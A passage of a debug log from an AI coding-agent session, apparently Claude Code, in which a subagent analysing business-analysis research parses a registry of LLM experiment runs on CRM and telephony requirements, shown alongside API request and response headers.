\u0441\u043d\u0438\u043c\u043e\u043a \u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0442: \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043d\u0430\u0432\u044b\u043a\u0430 \u0432 CI-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438\\n  \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c.\",\n[2026-09-29T07:45:07.479Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:07.479Z] [INFO]       }\n[2026-09-29T07:45:07.479Z] [INFO]     ]\n[2026-09-29T07:45:07.479Z] [INFO]   },\n[2026-09-29T07:45:07.479Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:07.479Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:07.479Z] [INFO]   \"uuid\": \"cc68548c-0457-45a8-80ef-70893150a60d\",\n[2026-09-29T07:45:07.479Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:06.439Z\",\n[2026-09-29T07:45:07.479Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:07.479Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:07.479Z] [INFO] }\n[2026-09-29T07:45:07.494Z] [STDOUT] [log_5fce0b] sending request {\n[2026-09-29T07:45:07.507Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:07.521Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:07.532Z] [STDOUT]   options: {\n[2026-09-29T07:45:07.539Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:07.549Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:07.558Z] [STDOUT]     body: {\n[2026-09-29T07:45:07.563Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:07.568Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:07.577Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:07.583Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:07.586Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:07.589Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:07.607Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:07.616Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:07.632Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:07.656Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:07.667Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:07.703Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:07.712Z] [STDOUT]     },\n[2026-09-29T07:45:07.716Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:07.728Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:07.753Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:07.853Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:07.858Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:07.866Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:07.967Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:07.977Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:07.982Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:08.038Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:08.111Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:08.204Z] [STDOUT]     },\n[2026-09-29T07:45:08.208Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:08.212Z] [STDOUT]   },\n[2026-09-29T07:45:08.227Z] [STDOUT]   headers: {\n[2026-09-29T07:45:08.232Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:08.241Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:08.260Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:08.268Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:08.272Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:08.279Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:08.289Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:08.294Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:08.303Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:08.311Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:08.318Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:08.329Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2144\",\n[2026-09-29T07:45:08.334Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:08.338Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:08.344Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:08.349Z] [STDOUT]     \"x-client-request-id\": \"ccc9814b-b0a1-4ad8-b72d-48a0390705ce\",\n[2026-09-29T07:45:08.352Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:08.356Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:08.363Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:08.366Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:08.371Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:08.377Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:08.382Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:08.387Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:08.389Z] [STDOUT]   },\n[2026-09-29T07:45:08.391Z] [STDOUT] }\n[2026-09-29T07:45:08.394Z] [INFO] {\n[2026-09-29T07:45:08.394Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:08.394Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:45:08.394Z] [INFO]   \"estimated_tokens\": 194,\n[2026-09-29T07:45:08.394Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:45:08.394Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:08.394Z] [INFO]   \"uuid\": \"637e19c5-2f3d-43f3-b807-dd8a56c948c7\"\n[2026-09-29T07:45:08.394Z] [INFO] }\n[2026-09-29T07:45:08.407Z] [INFO] {\n[2026-09-29T07:45:08.407Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:08.407Z] [INFO]   \"message\": {\n[2026-09-29T07:45:08.407Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:08.407Z] [INFO]     \"id\": \"msg_011CfXMjHccy9QHH3HUJSVJt\",\n[2026-09-29T07:45:08.407Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:08.407Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:08.407Z] [INFO]     \"content\": [\n[2026-09-29T07:45:08.407Z] [INFO]       {\n[2026-09-29T07:45:08.407Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:08.407Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:08.407Z] [INFO]         \"signature\": \"CAQS/gUKEAgSGAI4AUIIdGhpbmtpbmcSDPCTJxbawiudiJKzLxoMVbDGviAFc0y4XG2NIjAH/vP7ZPx3DYL5mgvYEyE3isAVeR0JT8a3RGc9HaTcJ9J06zGZGL2Iugsg6VrbTJ8qmwU8YaKRVcPdNRCOUPClwbMf/mnoEZgQYXC9RcY9xRh8ib8c7jgNzB69i4shMoivlHZShQBVPaW4sXlmzG3bQiQUCssXfVb+qs+NrAlgEt3984jbzf7yXW9XmK1vqvd5xrbEaliStLZKZGoy7l1TNsCH9/9AwIbSXTSZV/WXW5BW5UWQ2yopsd9+UEuonsDcDA8ZPiy0YnesiReuT3ytLSL1w2fYG1L9pclSN19tFwfPx2I3OnZYbu95H0fPj1jFFOWNWeYU/Iq+Jjp8/Ux/T82jVwzNYxn7RnmT3dmirsEE5sxC5nbSVAAvFwSfVerD6VNesvlZhHPX0kqeqAXLM8pX4lZ0bZGWEAFl28S2jYrMhzKMuze2HGGluczkWjDk8dYhavmWXO/O3wVXyloLS0D8O9+ZlTl/8zujwyz5wzq33SP9B00DPDWIoOG3RZ9YvTMbCuJGeEXMA+3eHvVI4Ugfvvr5V1TNhSh7UGM2oJBBilkPL1B8I2F6I7SPOe9omlhBCnogz1aFKE9IFQ9p0AUM+KkGWXBYq6yBUULxGq8KzcrwQzRZa4QpcjHGMuovgaoHTG6xGenPfehKfsQYH3y1R8T4mHrzjNunMbQwUSt0tVkuWH6UAA6qYEf4tMWBQn04FKPHjQYTtEgpBWpc7EA6i+jvUvEDlRmAZSqzgj14ZO7pWt1SPNIm5kDCVnt0D5mZ6bSziOwpXLFr1lk9u1x+1bDkf4IPA34vA37HwN2bYuMrGXwzSO21IPMEJlVo2uGdAVhb7dap40WHsQFl7aJa561zkDxrCv5wztlKZwC2vkL8Ig6oqfAhve1AL4SEqMkDCwNrMrep/B/kaGjWEljr9u4hTp+3JCjklharoBoDoshYjrXMH1KMrokrGAE=\"\n[2026-09-29T07:45:08.407Z] [INFO]       }\n[2026-09-29T07:45:08.407Z] [INFO]     ],\n[2026-09-29T07:45:08.407Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:08.407Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:08.407Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:08.407Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:08.407Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:08.407Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:08.407Z] [INFO]       \"cache_creation_input_tokens\": 7060,\n[2026-09-29T07:45:08.407Z] [INFO]       \"cache_read_input_tokens\": 93336,\n[2026-09-29T07:45:08.407Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:08.407Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:45:08.407Z] [INFO]         \"ephemeral_1h_input_tokens\": 7060\n[2026-09-29T07:45:08.407Z] [INFO]       },\n[2026-09-29T07:45:08.407Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:45:08.407Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:08.407Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:08.407Z] [INFO]     },\n[2026-09-29T07:45:08.407Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:08.407Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:08.407Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:08.407Z] [INFO]   },\n[2026-09-29T07:45:08.407Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:08.407Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:08.407Z] [INFO]   \"uuid\": \"a6a24d55-cde3-4d35-b730-a46936c82332\",\n[2026-09-29T07:45:08.407Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:06.752Z\",\n[2026-09-29T07:45:08.407Z] [INFO]   \"request_id\": \"req_011CfXMjH3PgxwSnTsMAc7t9\"\n[2026-09-29T07:45:08.407Z] [INFO] }\n[2026-09-29T07:45:08.466Z] [STDOUT] [log_5fce0b, request-id: \"req_011CfXMjRY7sPjAeAeDFMYdT\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 887ms\n[2026-09-29T07:45:08.475Z] [STDOUT] [log_5fce0b] response start {\n[2026-09-29T07:45:08.479Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:08.513Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:08.521Z] [STDOUT]   headers: {\n[2026-09-29T07:45:08.533Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:08.538Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:08.543Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:08.548Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:08.554Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:08.561Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:08.566Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:08.571Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:08.580Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:08.590Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:08.595Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:08.601Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:08.610Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:08.622Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:08.633Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:08.644Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:08.668Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:08.702Z] [STDOUT]     \"cf-ray\": \"a4295dd0ac024d8b-FRA\",\n[2026-09-29T07:45:08.724Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:08.728Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:08.733Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:08.735Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:08.738Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:07 GMT\",\n[2026-09-29T07:45:08.741Z] [STDOUT]     \"request-id\": \"req_011CfXMjRY7sPjAeAeDFMYdT\",\n[2026-09-29T07:45:08.745Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:08.749Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:08.752Z] [STDOUT]     traceresponse: \"00-9da728d3e7662fa4c84175ae18005a6d-87bac7bc54f232fb-01\",\n[2026-09-29T07:45:08.768Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:08.783Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:08.787Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:08.793Z] [STDOUT]   },\n[2026-09-29T07:45:08.797Z] [STDOUT]   durationMs: 887,\n[2026-09-29T07:45:08.801Z] [STDOUT] }\n[2026-09-29T07:45:08.810Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:08.815Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:07 GMT\",\n[2026-09-29T07:45:08.824Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:08.827Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:08.832Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:08.849Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:08.859Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:08.865Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:08.868Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:08.876Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:08.880Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:08.883Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:08.887Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:08.889Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:08.895Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:08.900Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:08.906Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:08.912Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:08.916Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:08.919Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:08.923Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:08.926Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:08.941Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:08.952Z] [STDOUT]   \"request-id\": \"req_011CfXMjRY7sPjAeAeDFMYdT\",\n[2026-09-29T07:45:08.959Z] [STDOUT]   \"traceresponse\": \"00-9da728d3e7662fa4c84175ae18005a6d-87bac7bc54f232fb-01\",\n[2026-09-29T07:45:08.963Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:08.969Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:08.975Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:08.982Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:08.984Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:08.986Z] [STDOUT]   \"cf-ray\": \"a4295dd0ac024d8b-FRA\",\n[2026-09-29T07:45:08.990Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:08.992Z] [STDOUT] [log_5fce0b] response parsed {\n[2026-09-29T07:45:08.995Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:09.004Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:09.011Z] [STDOUT]   body: X {\n[2026-09-29T07:45:09.018Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:09.022Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:09.030Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:09.035Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:09.038Z] [STDOUT]     },\n[2026-09-29T07:45:09.048Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:09.055Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:09.059Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:09.062Z] [STDOUT]   },\n[2026-09-29T07:45:09.085Z] [STDOUT]   durationMs: 888,\n[2026-09-29T07:45:09.095Z] [STDOUT] }\n[2026-09-29T07:45:09.102Z] [INFO] {\n[2026-09-29T07:45:09.102Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:09.102Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:45:09.102Z] [INFO]   \"task_id\": \"b2ptpvaoq\",\n[2026-09-29T07:45:09.102Z] [INFO]   \"owned_by_subagent\": true,\n[2026-09-29T07:45:09.102Z] [INFO]   \"tool_use_id\": \"toolu_01GoabRAjszwBBKqBmXLAo1p\",\n[2026-09-29T07:45:09.102Z] [INFO]   \"description\": \"Parse all run metadata\",\n[2026-09-29T07:45:09.102Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T07:45:09.102Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T07:45:09.102Z] [INFO]   \"uuid\": \"f86f50dd-2bed-482c-ae86-fa68bd2ba0f5\",\n[2026-09-29T07:45:09.102Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:09.102Z] [INFO] }\n[2026-09-29T07:45:09.108Z] [INFO] {\n[2026-09-29T07:45:09.108Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"task_id\": \"b2ptpvaoq\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"tool_use_id\": \"toolu_01GoabRAjszwBBKqBmXLAo1p\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"summary\": \"Parse all run metadata\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"uuid\": \"6302820b-160a-401e-8fbc-a07650d324f9\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:09.108Z] [INFO] }\n[2026-09-29T07:45:09.120Z] [INFO] {\n[2026-09-29T07:45:09.120Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:09.120Z] [INFO]   \"message\": {\n[2026-09-29T07:45:09.120Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:09.120Z] [INFO]     \"content\": [\n[2026-09-29T07:45:09.120Z] [INFO]       {\n[2026-09-29T07:45:09.120Z] [INFO]         \"tool_use_id\": \"toolu_01GoabRAjszwBBKqBmXLAo1p\",\n[2026-09-29T07:45:09.120Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:09.120Z] [INFO]         \"content\": \"RUN-0001 2026-05-26 execution experimental | not-recorded | BA/AI | prompt-experiment\\nRUN-0002 2026-05-26 execution partial-success | not-recorded | BA/AI | user-story-generation\\nRUN-0003 2026-05-26 execution partial-success | not-recorded | BA/AI | usecase-generation\\nRUN-0004 2026-05-26 statistics draft | not-recorded | BA/AI | prompt-audit\\nRUN-0005 2026-05-26 statistics draft | not-recorded | BA/AI | prompt-selftest\\nRUN-0006 2026-06-13 execution success | not-recorded | BA/AI | session-debug-documentation\\nRUN-0007 2026-06-16 execution works-with-edits | not-recorded | BA/AI | fr-generation\\nRUN-0008 2026-06-16 statistics draft | not-recorded | BA/AI | kb-citation-check\\nRUN-0009 2026-06-16 statistics draft | not-recorded | BA/AI | industry-standards-ab-check\\nRUN-0010 2026-06-17 statistics works-with-edits | qwen3.7 plus | BA-IH + LLM | bcreq-1025-email-routing\\nRUN-0011 2026-06-18 execution works-with-edits | not-recorded | BA-IH + LLM | multichannel-agent-workload\\nRUN-0012 2026-07-14 execution works-with-edits | claude-opus-4-8 | BA-IH + LLM | bcreq-1069-restricted-api-key\\nRUN-0013 2026-07-31 statistics works-with-edits | qwen3.7-plus + qwen3.8-max-preview | BA-IH + LLM | bcreq-1059-multichannel-slots-limits\\nRUN-0014 2026-07-24 statistics partial-success | qwen3.7-plus | BA-IH + LLM | task-1075-amocrm-deal-on-call\\nRUN-0015 2026-08-21 statistics works-with-edits | qwen3.6-plus | BA-IH + LLM | fr-validation-57204-ivr-scheme-amocrm-rule\\nRUN-0016 2026-08-21 statistics works-with-edits | qwen3.6-plus | BA-IH + LLM | fr-drafting-58093-amocrm-deal-card-new-tab\\nRUN-0017 2026-07-24 statistics works-with-edits | qwen3.7-plus + qwen3.8-max-preview | BA-IH (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f: AI issue solver) | task-1076-vks-artifacts-bpmsoft\\nRUN-0018 2026-07-21 statistics works-with-edits | qwen3.7-plus | BA-IH + LLM | fr-validation-1079-messenger-id-search\\nRUN-0019 2026-07-15 statistics works-with-edits | qwen3.7-plus | BA-IH + LLM | bcreq-1064-browser-softphone-in-mis\\nRUN-0020 2026-07-10 statistics needs-rework | qwen3.7-plus | BA-IH (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f: AI issue solver) | task-1065-context-and-questions-a7a\\nRUN-0021 2026-07-10 statistics works-with-edits | qwen3.7-plus | BA-IH + LLM | fr-drafting-975-ineffective-call-parameters\\nRUN-0022 2026-08-21 statistics works-with-edits | qwen3.7-plus | BA-IH + LLM | fr-validation-765-headhunter-channel\\nRUN-0023 2026-05-25 statistics partial-success | qwen3.6-plus | BA-IH (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f: AI issue solver) | task-59295-fr-validation-email-forward\\nRUN-0024 2026-05-25 statistics works-with-edits | qwen3.6-plus | BA-IH (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f: AI issue solver) | task-1020-okdesk-mango-integration-questions\\nRUN-0025 2026-05-12 statistics works-with-edits | qwen3.6-plus | BA-IH + LLM | fr-validation-997-ivr-scheme-incoming-call-rules\\nRUN-0026 2026-05-04 statistics works-with-edits | qwen3.6-plus | BA-IH (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f: AI issue solver) | task-1007-amocrm-outbound-campaign-funnel-stage-fr\\nRUN-0027 2026-04-10 statistics works-with-edits | qwen3.6-plus | BA-IH + LLM | fr-analysis-978-email-signature-in-lk\\nRUN-0028 2026-07-01 statistics works-with-edits | qwen3.7-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | fr-validation-1040-speech-analytics-direction-filter\\nRUN-0029 2026-05-13 statistics works-with-edits | qwen3.6-plus | BA-IH + LLM | task-994-bitrix24-lead-title-elicitation\\nRUN-0030 2026-08-22 statistics draft | qwen3.5-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-599-1c-subscriber-selection-on-call\\nRUN-0031 2026-08-22 statistics draft | qwen3-235b-a22b, qwen3-max-preview | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-791-unified-request-entity-deal-ticket\\nRUN-0032 2026-08-22 statistics draft | qwen3-coder-plus, qwen3-max | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-792-post-call-processing-outbound\\nRUN-0033 2026-08-22 statistics draft | qwen-plus-2025-09-11, qwen3-235b-a22b, qwen3-max-preview | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-804-speech-analytics-export-to-external-system\\nRUN-0034 2026-08-22 statistics draft | qwen3-235b-a22b, qwen3-max | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-804-speech-analytics-export-final\\nRUN-0035 2026-08-22 statistics draft | qwen3-235b-a22b | 